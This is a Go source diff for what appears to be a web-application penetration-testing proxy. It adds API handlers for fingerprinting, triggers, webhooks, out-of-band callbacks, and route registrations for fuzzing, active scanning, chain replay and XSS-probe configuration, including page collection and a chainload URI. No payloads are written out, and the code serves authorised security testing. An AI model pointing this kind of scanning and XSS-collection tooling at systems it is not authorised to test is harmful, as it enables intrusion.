func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
hosts, techs := s.techEngine.Store().Summary()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.techEngine.Enabled(),
"hosts": s.techEngine.Store().Hosts(),
"summary": map[string]int{"hosts": hosts, "techs": techs},
"scan": s.techEngine.Status(),
})
}
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var req techfp.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == techfp.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
// handleGetTechScan returns the current rescan status.
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleCancelTechScan stops a running rescan.
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
s.techEngine.Cancel()
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleGetTechHost returns one host's technology set.
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
if !ok {
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
return
}
writeJSON(w, http.StatusOK, ht)
}
// handleSetTechEnabled toggles passive fingerprinting.
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.techEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
+267
View File
@@ -0,0 +1,267 @@
package api
import (
"errors"
"fmt"
"net/http"
"sort"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/trigger"
)
// The trigger control plane.
//
// UI-only, like the rest of /automation/*, and that matters more here than it looks. No
// capability manages triggers and capreg.Deps holds no trigger store: a token that could
// author one could arm a run against traffic it is not otherwise permitted to reach, and
// Deps is the documented place where that kind of authority leaks in — internal/automation
// is not an import cycle, so the compiler would not catch it.
// requireTriggers reports whether the custom trigger store is available, writing the JSON
// 404 if not.
//
// Absent means the file could not be read at startup, which is deliberately fatal for the
// feature rather than silently empty: an empty store would make every automation
// referencing a custom trigger read as unreferenced and start firing on its raw event.
//
// It does not gate on automation. A trigger is a shared named object with two consumers now,
// and a webhook is available with no automation flag at all — routing this through
// requireAutomations would leave the webhook editor unable to list the triggers it references.
// Nothing about the trust story changes: these routes stay UI-only, and no capability reaches
// them either way.
func (s *APIServer) requireTriggers(w http.ResponseWriter) *trigger.Store {
if s.triggers == nil {
writeError(w, http.StatusNotFound,
"custom triggers are unavailable on this instance; see the startup log for why "+
"~/.joro/triggers.json could not be read")
return nil
}
return s.triggers
}
// triggerRow is one row of the list: the trigger, plus what it would break.
type triggerRow struct {
trigger.Trigger
// UsedBy names the automations referencing this trigger. Sent for every row because
// the list is where an operator decides whether to edit one, and editing a shared
// trigger changes every automation in this field.
UsedBy []string `json:"usedBy"`
}
func (s *APIServer) handleListTriggers(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
all := store.All()
rows := make([]triggerRow, 0, len(all))
for _, t := range all {
rows = append(rows, triggerRow{Trigger: t, UsedBy: s.triggerUsedBy(t.ID)})
}
writeJSON(w, http.StatusOK, map[string]any{
"triggers": rows,
// The condition vocabulary: which fields each event carries and the operators each
// takes. Served rather than restated in the frontend, for the reason the command
// vocabulary is — a field added in Go appears in the canvas's selects with no
// client change, and the client can never offer a pairing the server would refuse.
// An event absent from the map carries nothing to test.
"fields": trigger.Fields(),
"limits": trigger.GraphLimits(),
"ops": trigger.Ops(),
"nodeTypes": trigger.NodeTypes,
"events": trigger.Events,
})
}
// triggerUsedBy names everything referencing a trigger: automations and webhooks both.
//
// The union, not just the automations. A trigger is shared, and deleting one out from under a
// webhook fails safe — a dangling reference never fires — but silently, which is the failure
// internal/trigger is arranged to make loud. Missing a consumer here is what would make it
// quiet again.
//
// Read from both sets on every call rather than kept as an index: they are small, this is an
// operator-paced endpoint, and an index would be a second copy of the truth that could
// disagree about what is actually referenced.
func (s *APIServer) triggerUsedBy(id string) []string {
out := []string{}
if s.scriptManager != nil && s.scriptManager.Packages() != nil {
for _, a := range s.scriptManager.Packages().List() {
for _, ref := range a.Manifest.Triggers {
if string(ref) == id {
out = append(out, a.Manifest.Name)
break
}
}
}
}
out = append(out, s.webhooks.UsedBy(id)...)
sort.Strings(out)
return out
}
func (s *APIServer) handleGetTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
// A built-in resolves too, so the editor can open one read-only and clone it without
// having to know which kind it is looking at before it asks.
t, err := store.Resolve(id)
if err != nil {
writeTriggerError(w, err)
return
}
writeJSON(w, http.StatusOK, triggerRow{Trigger: t, UsedBy: s.triggerUsedBy(id)})
}
func (s *APIServer) handleCreateTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
var body trigger.Trigger
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
created, err := store.Create(body)
if err != nil {
writeTriggerError(w, err)
return
}
// The dispatcher caches compiled triggers and reloads on the store's revision, which
// has just moved; waking it means an operator who saves and then browses does not wait
// out a tick to see it fire.
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, triggerRow{Trigger: created, UsedBy: []string{}})
}
func (s *APIServer) handleUpdateTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
if trigger.IsBuiltin(id) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is a built-in trigger and cannot be edited; clone it to a custom one", id))
return
}
var body trigger.Trigger
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.Update(id, body)
if err != nil {
writeTriggerError(w, err)
return
}
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, triggerRow{Trigger: updated, UsedBy: s.triggerUsedBy(id)})
}
func (s *APIServer) handleDeleteTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
if trigger.IsBuiltin(id) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is a built-in trigger and cannot be deleted", id))
return
}
// Refused while anything references it, rather than deleted and left to fail closed at
// dispatch. Both are safe — a dangling reference never fires — but only one of them
// tells the operator now, while they are looking at the thing they were about to break.
if err := store.Delete(id, s.triggerUsedBy(id)); err != nil {
writeTriggerError(w, err)
return
}
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
// handleTestTrigger dry-runs a trigger against recent traffic.
//
// It takes a whole trigger rather than an id on purpose: the operator is testing something
// they have not saved yet, and requiring a save first would make the try-it step cost a
// stored — and therefore referenceable — trigger. Nothing is stored and nothing is run.
//
// The response is a 200 carrying valid:false for a graph that will not compile. The request
// was well-formed and the answer is about the graph, which is what the canvas renders
// either way — a 400 would make the editor treat an ordinary bad regex as a failed call.
func (s *APIServer) handleTestTrigger(w http.ResponseWriter, r *http.Request) {
if s.requireTriggers(w) == nil {
return
}
var body struct {
trigger.Trigger
Limit int `json:"limit"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// A draft has no id yet and does not need one to be tested, so stand one in rather
// than reject it: Validate checks identity as well as shape, and the operator is
// asking about the shape.
if body.ID == "" {
body.ID = "draft"
}
writeJSON(w, http.StatusOK, trigger.Test(s.store, body.Trigger, body.Limit))
}
// handleSeedTrigger returns the graph a new trigger starts from.
//
// Served rather than built in the client so the starting point cannot drift from what the
// server will accept — a seed that failed Validate would open the canvas on an error.
func (s *APIServer) handleSeedTrigger(w http.ResponseWriter, r *http.Request) {
if s.requireTriggers(w) == nil {
return
}
on := r.URL.Query().Get("on")
if !trigger.Dispatched(on) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is not an event a trigger can watch", on))
return
}
writeJSON(w, http.StatusOK, trigger.Trigger{On: on, Graph: trigger.SeedGraph(on)})
}
func writeTriggerError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, trigger.ErrNotFound):
writeError(w, http.StatusNotFound, "no such trigger")
case errors.Is(err, trigger.ErrExists), errors.Is(err, trigger.ErrInUse):
writeError(w, http.StatusConflict, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
// triggerRefsFor lists the custom triggers an automation references, for the export
// bundle. A package that names one is not closed over any more, so what it names has to
// travel with it.
func (s *APIServer) triggerRefsFor(m jsautomation.Manifest) []trigger.Trigger {
out := []trigger.Trigger{}
if s.triggers == nil {
return out
}
for _, ref := range m.Triggers {
if trigger.IsBuiltin(string(ref)) {
continue
}
if t, err := s.triggers.Get(string(ref)); err == nil {
out = append(out, t)
}
}
return out
}
+270
View File
@@ -0,0 +1,270 @@
package api
import (
"context"
"errors"
"net/http"
"time"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/webhook"
)
// The webhook control plane.
//
// UI-only, like the token and trigger planes, and here that is the load-bearing half of the
// feature rather than a convention. A webhook is an egress channel; creating one is deciding
// where Joro's bytes may go, which is administration for it. capreg.Deps holds no webhook
// store — only the fire-only interface — and an automation client reaches Joro on the MCP
// port, whose mux has no /api/v1/* routes at all. Between them there is no path from a token
// to this block.
//
// Secrets go out empty and come back empty. The store carries forward what the client did not
// resend, so a plain round trip cannot wipe a signing key the operator can no longer see.
// requireWebhooks reports whether the webhook store is available, writing the JSON 404 if not.
//
// Two ways to be off, and the message names which: --no-webhooks is a deployment posture, an
// unreadable webhooks.json is a fault. An operator sent to the wrong one has been told
// something worse than nothing.
//
// It returns a JSON 404 rather than being left unregistered, because an unregistered route
// falls through to the SPA catch-all and answers 200 with a page of HTML.
func (s *APIServer) requireWebhooks(w http.ResponseWriter) *webhook.Store {
if s.cfg.NoWebhooks {
writeError(w, http.StatusNotFound,
"webhooks are disabled on this instance; it was started with --no-webhooks")
return nil
}
if s.webhooks == nil {
writeError(w, http.StatusNotFound,
"webhooks are unavailable on this instance; see the startup log for why "+
"~/.joro/webhooks.json could not be read")
return nil
}
return s.webhooks
}
// webhookRow is one webhook as the API returns it: no secret values, and a note of which are
// set so the editor can show a field as filled without ever holding what fills it.
type webhookRow struct {
webhook.Webhook
HasAuthSecret bool `json:"hasAuthSecret"`
HasSigningSecret bool `json:"hasSigningSecret"`
// SecretHeaders names the custom headers that have a stored value. A list rather than a
// flag on Header, so nothing about presentation ends up in webhooks.json.
SecretHeaders []string `json:"secretHeaders"`
}
// redact strips every secret out of a webhook on the way to the client.
func redactWebhook(w webhook.Webhook) webhookRow {
row := webhookRow{
HasAuthSecret: w.Auth.Token != "",
HasSigningSecret: w.Signing.Secret != "",
SecretHeaders: []string{},
}
w.Auth.Token = ""
w.Signing.Secret = ""
headers := make([]webhook.Header, len(w.Headers))
for i, h := range w.Headers {
if h.Value != "" {
row.SecretHeaders = append(row.SecretHeaders, h.Name)
}
headers[i] = webhook.Header{Name: h.Name}
}
w.Headers = headers
row.Webhook = w
return row
}
func (s *APIServer) handleListWebhooks(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
all := store.List()
rows := make([]webhookRow, 0, len(all))
for _, hook := range all {
rows = append(rows, redactWebhook(hook))
}
writeJSON(w, http.StatusOK, map[string]any{
"webhooks": rows,
// The authoring vocabulary, served rather than restated in the frontend for the
// reason the trigger and command vocabularies are: a format or a placeholder added
// in Go appears in the editor with no client change, and the client can never offer
// something the server would refuse.
"formats": webhook.Formats,
"deliveries": webhook.Deliveries,
"authKinds": webhook.AuthKinds,
"methods": webhook.Methods,
"tokens": webhook.ReservedTokens(),
"fields": webhook.SubstitutableFields(dispatchedEvents()),
"limits": map[string]int{
"webhooks": webhook.MaxWebhooks,
"triggers": webhook.MaxTriggerRefs,
"headers": webhook.MaxHeaders,
"templateBytes": webhook.MaxTemplateLen,
"timeoutMs": webhook.MaxTimeoutMs,
"retries": webhook.MaxRetries,
"minIntervalMs": webhook.MaxMinIntervalMs,
},
})
}
// dispatchedEvents lists the events a webhook can actually watch.
//
// Filtered rather than trigger.Events wholesale: manual and request.selected are started by
// hand, so offering either would be a switch that does nothing.
func dispatchedEvents() []string {
var out []string
for _, e := range trigger.Events {
if trigger.Dispatched(e) {
out = append(out, e)
}
}
return out
}
func (s *APIServer) handleGetWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
hook, err := store.Get(r.PathValue("id"))
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(hook))
}
func (s *APIServer) handleCreateWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body webhook.Webhook
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
created, err := store.Create(body)
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(created))
}
func (s *APIServer) handleUpdateWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body webhook.Webhook
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.Update(r.PathValue("id"), body)
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(updated))
}
func (s *APIServer) handleDeleteWebhook(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
id := r.PathValue("id")
if err := store.Delete(id); err != nil {
writeWebhookError(w, err)
return
}
s.webhookDeliver.Forget(id)
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
// handleSetWebhookEnabled is the rail's per-row switch.
//
// Switching one on also clears a pause, because that is what an operator means by turning a
// tripped webhook back on. Leaving Paused set would make the switch appear to do nothing.
func (s *APIServer) handleSetWebhookEnabled(w http.ResponseWriter, r *http.Request) {
store := s.requireWebhooks(w)
if store == nil {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.SetState(r.PathValue("id"), func(hook *webhook.Webhook) {
hook.Enabled = body.Enabled
if body.Enabled {
hook.Paused, hook.PausedReason = false, ""
}
})
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, redactWebhook(updated))
}
// handleTestWebhook renders a sample event and delivers it.
//
// A real request to the real endpoint, not a preview. What an operator gets wrong is the
// destination, the auth and the body shape, and only sending finds all three — so the response
// carries the exact bytes sent alongside what came back.
//
// A delivery that the endpoint rejects is a 200 carrying the status and the error, not an HTTP
// error: the request was well-formed and the answer is about the endpoint, which is what the
// editor renders either way.
func (s *APIServer) handleTestWebhook(w http.ResponseWriter, r *http.Request) {
if s.requireWebhooks(w) == nil {
return
}
// Bounded independently of the webhook's own timeout, so a receiver that accepts the
// connection and never answers cannot hold an operator's request open.
ctx, cancel := context.WithTimeout(r.Context(), 90*time.Second)
defer cancel()
res, err := s.webhookDeliver.Test(ctx, r.PathValue("id"))
if err != nil {
writeWebhookError(w, err)
return
}
writeJSON(w, http.StatusOK, res)
}
func (s *APIServer) handleListWebhookDeliveries(w http.ResponseWriter, r *http.Request) {
if s.requireWebhooks(w) == nil {
return
}
writeJSON(w, http.StatusOK, map[string]any{
"deliveries": s.webhookDeliver.Log(r.PathValue("id")),
})
}
func writeWebhookError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, webhook.ErrNotFound):
writeError(w, http.StatusNotFound, "no such webhook")
case errors.Is(err, webhook.ErrExists):
writeError(w, http.StatusConflict, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
+10 -4
View File
@@ -33,7 +33,7 @@ func (s *APIServer) handleCreateProbe(w http.ResponseWriter, r *http.Request) {
var body struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -74,7 +74,7 @@ func (s *APIServer) handleGetPayloads(w http.ResponseWriter, r *http.Request) {
cfg, _ := s.cbStore.GetConfig()
domain := cfg.Domain
if domain == "" {
writeError(w, http.StatusBadRequest, "callback domain not configured - set it in the Interact tab")
writeError(w, http.StatusBadRequest, "callback domain not configured - start the listener with --domain")
return
}
@@ -183,7 +183,7 @@ func (s *APIServer) handleUpdateProbe(w http.ResponseWriter, r *http.Request) {
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -239,6 +239,12 @@ func (s *APIServer) handleGetCollectedPage(w http.ResponseWriter, r *http.Reques
writeJSON(w, http.StatusOK, page)
}
// The xss_collect_pages / xss_chainload_uri keys are a global default beneath the per-probe
// collect pages and chainload URI, applied by the probe handler when a probe sets neither.
// These two endpoints are the only way to read or change that tier — the UI configures
// probes individually and offers no control for it — so removing them would leave a value
// already in callbacks.db applying to every such probe with no way to inspect or clear it.
// A PUT with an empty collectPages is the clear operation.
func (s *APIServer) handleGetXSSConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
@@ -272,7 +278,7 @@ func (s *APIServer) handleUpdateXSSConfig(w http.ResponseWriter, r *http.Request
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+97
View File
@@ -0,0 +1,97 @@
package api
import (
"context"
"encoding/json"
"net/http"
"strings"
"time"
)
// StartOASTLoop launches the out-of-band confirmer and the domain refresher. Like
// the echo and tech loops it runs unconditionally and no-ops per cycle while the
// callback domain is unknown, so configuring a listener later needs no restart.
func (s *APIServer) StartOASTLoop(ctx context.Context) {
if s.oastEngine == nil {
return
}
go s.oastEngine.Run(ctx)
go s.refreshOASTDomain(ctx)
}
// callbackDomainForOAST is the domain the confirmer harvests callback tokens
// under. Read every cycle so a domain learned from the listener takes effect live.
func (s *APIServer) callbackDomainForOAST() string {
s.mu.RLock()
defer s.mu.RUnlock()
return s.oastDomain
}
// refreshOASTDomain keeps oastDomain current. A local --domain is authoritative
// and needs no fetch; otherwise, when a listener URL is configured, it fills the
// domain in from the listener's callback config on an interval. Best-effort: a
// failed or unconfigured fetch simply leaves the confirmer idle.
func (s *APIServer) refreshOASTDomain(ctx context.Context) {
s.mu.RLock()
local := s.cfg.CallbackDomain
s.mu.RUnlock()
if local != "" {
return
}
t := time.NewTicker(30 * time.Second)
defer t.Stop()
s.fetchOASTDomain(ctx)
for {
select {
case <-ctx.Done():
return
case <-t.C:
s.fetchOASTDomain(ctx)
}
}
}
// fetchOASTDomain reads the callback domain from the configured listener and
// caches it. No-op when no listener URL is set.
func (s *APIServer) fetchOASTDomain(ctx context.Context) {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
teamToken := s.settings.TeamToken
teamNickname := s.settings.TeamNickname
s.mu.RUnlock()
if listenerURL == "" {
return
}
url := strings.TrimRight(listenerURL, "/") + "/api/v1/callbacks/config"
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
return
}
if teamToken != "" {
req.Header.Set("Authorization", "Bearer "+teamToken)
}
if teamNickname != "" {
req.Header.Set("X-Joro-Nickname", teamNickname)
}
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return
}
var cfg struct {
Domain string `json:"domain"`
}
if json.NewDecoder(resp.Body).Decode(&cfg) != nil || cfg.Domain == "" {
return
}
s.mu.Lock()
s.oastDomain = cfg.Domain
s.mu.Unlock()
}
+14
View File
@@ -37,6 +37,20 @@ func originGuard(bindAddr string, allowedHosts []string, next http.Handler) http
})
}
// uiOriginHeader is set on every request by web/src/lib/api.ts.
const uiOriginHeader = "X-Joro-Origin"
// requireLocalOrigin reports whether the request carries uiOriginHeader, writing the 403
// itself and returning false when the caller should stop. Required on the routes that
// decode no JSON body: the multipart uploads and the body-less POSTs.
func requireLocalOrigin(w http.ResponseWriter, r *http.Request) bool {
if r.Header.Get(uiOriginHeader) == "" {
writeError(w, http.StatusForbidden, "forbidden: missing "+uiOriginHeader+" header")
return false
}
return true
}
func isMutating(method string) bool {
switch method {
case http.MethodPost, http.MethodPut, http.MethodDelete, http.MethodPatch:
+149 -1
View File
@@ -26,7 +26,7 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
mux.HandleFunc("PUT /api/v1/callbacks/config", s.handleUpdateCallbackConfig)
mux.HandleFunc("POST /api/v1/callbacks/verify", s.handleVerifyCallback)
// XSS Hunter routes (both modes - handler logic differs per mode)
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
@@ -81,11 +81,16 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
// Sitemap
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
mux.HandleFunc("DELETE /api/v1/sitemap", s.handleDeleteSitemap)
// The parameter inventory behind a node. UI-only for the reason stated on the
// echo block below: a row names a parameter and an example of its value.
mux.HandleFunc("GET /api/v1/sitemap/params", s.handleGetSitemapParams)
// HTTP history
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
mux.HandleFunc("GET /api/v1/requests/{id}/params", s.handleGetRequestParams)
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
mux.HandleFunc("DELETE /api/v1/requests/by-host", s.handleDeleteRequestsByHost)
// Intercept
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
@@ -109,6 +114,80 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
mux.HandleFunc("GET /api/v1/fuzzer/wordlists", s.handleFuzzerListWordlists)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist/preview", s.handleFuzzerPreviewSource)
// API description documents (the SJ tab). Loads a Swagger/OpenAPI document,
// renders each operation to raw bytes, and drives scans, auth-profile
// matrices and document discovery — all through Joro's own proxy, so every
// request lands in History, Detect and the site map.
//
// UI-only, like the fuzzer: none of these are capabilities and none need an
// automation flag. "Send every operation in this document" is a large, loud
// send primitive, and capreg.Deps gaining a field is documented as the change
// that breaks the automation trust boundary.
mux.HandleFunc("POST /api/v1/spec/load", s.handleSpecLoad)
mux.HandleFunc("GET /api/v1/spec/specs", s.handleSpecList)
mux.HandleFunc("GET /api/v1/spec/specs/{id}", s.handleSpecGet)
mux.HandleFunc("GET /api/v1/spec/specs/{id}/source", s.handleSpecGetSource)
mux.HandleFunc("PUT /api/v1/spec/specs/{id}/placeholders", s.handleSpecSetPlaceholders)
mux.HandleFunc("DELETE /api/v1/spec/specs/{id}", s.handleSpecDelete)
mux.HandleFunc("POST /api/v1/spec/render", s.handleSpecRender)
mux.HandleFunc("POST /api/v1/spec/send", s.handleSpecSend)
mux.HandleFunc("GET /api/v1/spec/profiles", s.handleSpecListProfiles)
mux.HandleFunc("PUT /api/v1/spec/profiles", s.handleSpecSetProfiles)
mux.HandleFunc("POST /api/v1/spec/scan", s.handleSpecScanStart)
mux.HandleFunc("POST /api/v1/spec/discover", s.handleSpecDiscoverStart)
mux.HandleFunc("GET /api/v1/spec/runs", s.handleSpecListRuns)
mux.HandleFunc("GET /api/v1/spec/runs/{id}", s.handleSpecGetRun)
mux.HandleFunc("GET /api/v1/spec/runs/{id}/matrix", s.handleSpecGetMatrix)
mux.HandleFunc("GET /api/v1/spec/runs/{id}/results/{index}", s.handleSpecGetResult)
mux.HandleFunc("POST /api/v1/spec/runs/{id}/stop", s.handleSpecStopRun)
mux.HandleFunc("DELETE /api/v1/spec/runs/{id}", s.handleSpecDeleteRun)
// Multi-step workflows (the Chain tab). Records an ordered chain of captured
// requests plus the data dependencies between them, then replays it with a
// step omitted, repeated or moved to test whether the application enforces
// its own sequence.
//
// UI-only, for the reason the SJ block above gives, and more so: a sweep is
// every variant times every step of real, state-changing traffic — orders
// placed, mail sent — which is the loudest send primitive in the product and
// the last thing that should be reachable from a token.
mux.HandleFunc("GET /api/v1/chain/chains", s.handleChainListChains)
mux.HandleFunc("POST /api/v1/chain/chains", s.handleChainCreateChain)
mux.HandleFunc("GET /api/v1/chain/chains/{id}", s.handleChainGetChain)
mux.HandleFunc("PUT /api/v1/chain/chains/{id}", s.handleChainUpdateChain)
mux.HandleFunc("DELETE /api/v1/chain/chains/{id}", s.handleChainDeleteChain)
mux.HandleFunc("POST /api/v1/chain/chains/from-history", s.handleChainFromHistory)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/correlate", s.handleChainCorrelate)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/bind-preview", s.handleChainBindPreview)
mux.HandleFunc("GET /api/v1/chain/chains/{id}/steps/{stepId}/response", s.handleChainStepResponse)
mux.HandleFunc("POST /api/v1/chain/chains/{id}/preview", s.handleChainPreview)
mux.HandleFunc("GET /api/v1/chain/chains/{id}/plan", s.handleChainPlan)
mux.HandleFunc("POST /api/v1/chain/record/start", s.handleChainRecordStart)
mux.HandleFunc("POST /api/v1/chain/record/stop", s.handleChainRecordStop)
mux.HandleFunc("POST /api/v1/chain/runs", s.handleChainRunStart)
mux.HandleFunc("GET /api/v1/chain/runs", s.handleChainListRuns)
mux.HandleFunc("GET /api/v1/chain/runs/{id}", s.handleChainGetRun)
mux.HandleFunc("GET /api/v1/chain/runs/{id}/grid", s.handleChainGetGrid)
mux.HandleFunc("GET /api/v1/chain/runs/{id}/results/{index}", s.handleChainGetResult)
mux.HandleFunc("POST /api/v1/chain/runs/{id}/stop", s.handleChainStopRun)
mux.HandleFunc("DELETE /api/v1/chain/runs/{id}", s.handleChainDeleteRun)
// Active scanning. Operator-initiated rules that drive a target and file
// findings into Detect; DOM XSS is the first. Scope-respecting (a scan with
// scope off is never rejected), proxy-mode only, one run at a time.
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
mux.HandleFunc("POST /api/v1/activescan/runs/{id}/stop", s.handleActiveScanStopRun)
mux.HandleFunc("DELETE /api/v1/activescan/runs/{id}", s.handleActiveScanDeleteRun)
// Passive detection. Unlike the other rule collections below, detect rules
// have a PUT (a rule's ID is referenced by every finding it produced) and a
@@ -134,6 +213,37 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/detect/scan", s.handleGetDetectScan)
mux.HandleFunc("POST /api/v1/detect/scan/cancel", s.handleCancelDetectScan)
// Reflection mapping (the Echo tab). Records every value a request sent and
// every place it comes back in the response, with the transform it came back
// through and the context it landed in.
//
// UI-only, like the blocks above, though it sends nothing at all: the map is
// a read of captured traffic. It stays off the capability surface because a
// row names a parameter and its value, which is where an application puts
// session tokens and personal data, and a token that could enumerate the map
// would be reading every credential that crossed the proxy.
mux.HandleFunc("GET /api/v1/echo", s.handleGetEcho)
mux.HandleFunc("PUT /api/v1/echo/enabled", s.handleSetEchoEnabled)
mux.HandleFunc("GET /api/v1/echo/config", s.handleGetEchoConfig)
mux.HandleFunc("PUT /api/v1/echo/config", s.handleSetEchoConfig)
mux.HandleFunc("GET /api/v1/echo/params", s.handleListEchoParams)
mux.HandleFunc("GET /api/v1/echo/params/{id}", s.handleGetEchoParam)
mux.HandleFunc("GET /api/v1/echo/requests/{requestId}", s.handleGetEchoRequest)
